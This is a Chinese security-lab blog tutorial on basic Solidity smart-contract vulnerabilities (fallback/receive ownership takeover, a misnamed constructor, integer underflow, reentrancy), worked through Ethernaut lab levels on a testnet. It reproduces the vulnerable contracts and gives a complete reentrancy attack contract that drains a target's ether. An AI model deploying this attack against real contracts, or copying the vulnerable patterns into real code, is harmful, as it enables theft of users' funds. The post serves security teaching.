点击蓝字 关注我们
日期:2023-03-02 作者:H4y0 介绍: Solidity
是以太坊智能合约开发最常用的编程语言,开发过程中代码编写不严格可能会产生严重的后果。
0x00 前言
以太坊智能合约是极为灵活的。它能够存储超过非常大量的虚拟货币,并且根据先前部署的智能合约运行不可修改的代码。虽然这创造了一个充满活力和创造性的生态系统,但其中包含的无信任、相互关联的智能合约,也吸引了攻击者利用智能合约中的漏洞和以太坊中的未知错误来赚取利润。
0x01 环境搭建
1.1 Metamask钱包与测试网络
Metamask
是用于与以太坊区块进行交互的软件加密钱包,可以通过浏览器拓展程序访问,打开新世界的大门就从此开始吧!
将Metamask
添加到浏览器拓展程序后,注册一个钱包就会得到一个自己的钱包地址。
1.2 REMIX IDE
Remix
是以太坊提供的Solidity
官方IDE
,可以进行智能合约的开发与部署。
通过搜索引擎即可找到官方网站。
1.3 测试币与Ethernaut
在测试环境下进行正常的测试,需要连接测试网络,通过申请测试币来对智能合约进行测试。这里以Sepolia
测试网络为例。
选择显示测试网络后直接连接Sepolia
测试网络。随后通过点击购买按钮跳转到申请测试币的界面。
将自己的钱包地址填入下方,申请测试币即可。
测试环境为[Ethernaut](https://ethernaut.openzeppelin.com/)
靶场。初次访问时会申请与Metamask
进行连接,连接成功后即可正常访问该靶场的所有关卡。
0x02 Solidity 基础漏洞
2.1 receive 与 fallback
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {owner = msg.sender;}
}
function getContribution()public view returns (uint) {return contributions[msg.sender];
}
function withdraw() public onlyOwner {payable(owner).transfer(address(this).balance);}
receive() external payable {require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
fallback
函数: 一个不接受任何参数也不返回任何值的特殊函数,在合约的调用中,当其他合约调用该合约不存在的响应函数就会触发 fallback
,fallback
功能由合约所有者自定义。
receive
函数:向合约中发送一些 eth
且没有在交易的数据字段中指定任何东西时,receive
就会被自动调用。
contribute
函数:
function contribute() public payable {require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
可见,通过 contribute
函数要求我们的 eth
大于合约所有者,但是合约的拥有者 eth
初始就有 1000
,发送的 eth
还要小于 0.001
,尽管可以在测试网络下多次申请测试币,但是这一方法还是很难实现。
receive
函数:
receive() external payable {require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
在这个函数中,满足 msg.value>0
且 msg.sender>0
即可,也就是说要求发送大于 0
的 eth
,且贡献值也大于 0
,即可成为合约的拥有者。
成为合约拥有者后调用 withdraw()
,就能掏空他的 eth
。
最后,修改 receive
函数为 fallback
函数:
function() payable public {require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
小总结
receive()
一个合约只能有一个receive函数,该函数不能有参数和返回值,需设置为external,payable;
当本合约收到ether但并未被调用任何函数,未接受任何数据,receive函数被触发;
fallback()
一个合约只能有一个receive函数,该函数不能有参数和返回值,需设置为external;
可设置为payable;
当本合约的其他函数不匹配调用,或调用者未提供任何信息,且没有receive函数,fallback函数被触发;
2.2 REMIX IDE 交互
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256; // 防止溢出
mapping (address => uint) allocations; // 映射
address payable public owner; //owner 地址
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {msg.sender.transfer(address(this).balance);}
function allocatorBalance(address allocator) public view returns (uint) {return allocations[allocator];
}
}
只需要注意 Fal1out()
:
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
只需要调用这个函数就可以成为合约的拥有者。
使用RemixIDE
连接Metamsk
钱包,并写一个接口来调用 Fal1out()
即可。
观察左边一栏,ENVIRONMENT
选择网络环境,这里选的是与Metamask
进行交互,通过Metamask
与测试环境进行连接。
GAS LIMIT
是指燃料的上限,合约的运行与部署需要消耗燃料,根据合约的复杂程度需要的燃料也不同,燃料不足的情况下会使合约部署失败。
Deploy
按钮即是部署合约,可以将合约部署在指定地址,也可通过At Addresss
加载指定地址的合约并与该地址的合约进行交互,上文的函数调用就是加载了实例地址的合约。
Deployed Contracts
可以执行相应的函数,通过编写接口即可。
2.3 整数下溢
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {balances[msg.sender] = totalSupply =
_initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true; // 转账操作,将 token 转到 _to 地址
}
function balanceOf(address _owner) public view returns (uint balance) {return
balances[_owner];
} // 返回余额
}
这个合约没有引⼊safamath
库,可能存在上溢或下溢漏洞。题⽬初始化token
为20
。注意转账函数transfer
:
function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true; // 转账操作,将 token 转到 _to 地址
}
```
其中最关键的就是:
```
{require(balances[msg.sender] - _value >= 0)
如果转账21
个token
,在没有safamath
库的情况下会使其数值变⼤,变为2^256-1
。
2.4 重入攻击
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
关键函数:
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
首先判断msg.sender
是否有足够的余额来提取eth
,然后通过call
来发送请求的amount
,随后更新余额,余额减少。
call{value:xx}
,call
是send
和transfer
函数底层实现,也是用来转账的,三者存在一定的区别。
transfer
:要求接收的智能合约中必须有一个fallback
或者receive
函数,否则会抛出一个错误(error
),并且revert
(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas
不能超过2300
的限制。transfer
函数会在以下两种情况抛出错误:
-
付款方合约的余额不足,小于所要发送的
value
-
接收方合约拒绝接收支付。
send
:和transfer
函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send
的返回结果是一个boolean
值,而不会执行revert
回滚。
call
: call
函数和上面最大的区别在于,它没有gas
的限制,使用call
时EVM
将所有gas
转移到接收合约上,形式如下:
(bool success, bytes memory data) = receivingAddress.call{value: 100}("");
将参数设置为空会触发接收合约的fallback
函数,使用call
同样也可以调用本合约内的函数,形式如下。
(bool sent, bytes memory data) = _to.call{gas :10000, value: msg.value}(byte4(keccack256("function_name(uint256)",args)));
这里设置的gas
是浮点数类型的,其中function_name
、uint256
和args
需要替换为实际函数名字、参数类型、参数值。
send
和transfer
有一个限制单笔交易的gas
不能超过2300
的约束,这个约束值是很低的,只能支持一个event
的触发,做不了更多操作,因此当设置到一些高gas
消耗的操作时,必须使用call
函数,但由于call
函数不限制操作的gas
值,又会导致存在合约重入的问题。
(bool result,) = msg.sender.call{value:_amount}("");
所以注意到withdraw
函数中调用了一个空参数的call
,会用到所有可用的gas
这样能保证可执行recieve
。
当执行msg.sender.call{value:_amount}(“”)
并向msg.sender
发送金额时有两种情况:
1.msg.sender是个账户。
2.msg.sender是个合约,value被发送到合约后可能会调用recieve或fallbck函数进行执行。
在第二种情况下,在fallback
和recive
函数中可以进行写代码,就可以造成重入攻击。
pragma solidity ^0.6.12;
interface Reentrance{
function donate(address _to) external payable;
function withdraw(uint _amount) external;
function balanceOf(address _who) external view returns (uint balanceOf);
}
contract Pwn {
Reentrance ReentranceImpl; //标记目标合约(填写目标合约地址)
uint256 requiredValue; //表示目标合约中的eth
constructor(address addr) public payable{
ReentranceImpl = Reentrance(addr);
requiredValue = msg.value;
}
function getBalance(address addr) public view returns (uint){
return addr.balance;
}
function donate() public {
ReentranceImpl.donate{value:requiredValue}(address(this));
}
function withdraw(uint _amount) public {
ReentranceImpl.withdraw(_amount);
}
function destruct() public {
selfdestruct(msg.sender);
}
fallback() external payable {
uint256 ReentranceImplValue = address(ReentranceImpl).balance;
if (ReentranceImplValue >= requiredValue) {
withdraw(requiredValue);
}else if(ReentranceImplValue > 0) {
withdraw(ReentranceImplValue);
}
}
}
小总结
攻击者可以在一个外部地址构造一个合约,该合约在回退函数中包含恶意代码。因此,当一个合约将以太发送到这个地址时,它将调用恶意代码。通常,恶意代码在易受攻击的合约上调用一个函数,执行开发人员不期望的操作。“可重入”这个名称来自于这样一个事实:外部恶意合约回调目标合约上的转账函数,并在目标合约上的任意位置重复执行这个转账函数以达到攻击目的。
0x03 总结
智能合约因为其不可修改的特性,部署后除非重新部署,不然无法对漏洞进行有效的修复,但这也会付出巨大的代价。因此不仅要注意代码的严谨性,还要注意solidity
编译器可能引入的安全风险。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
原文始发于微信公众号(宸极实验室):『杂项』智能合约基础漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论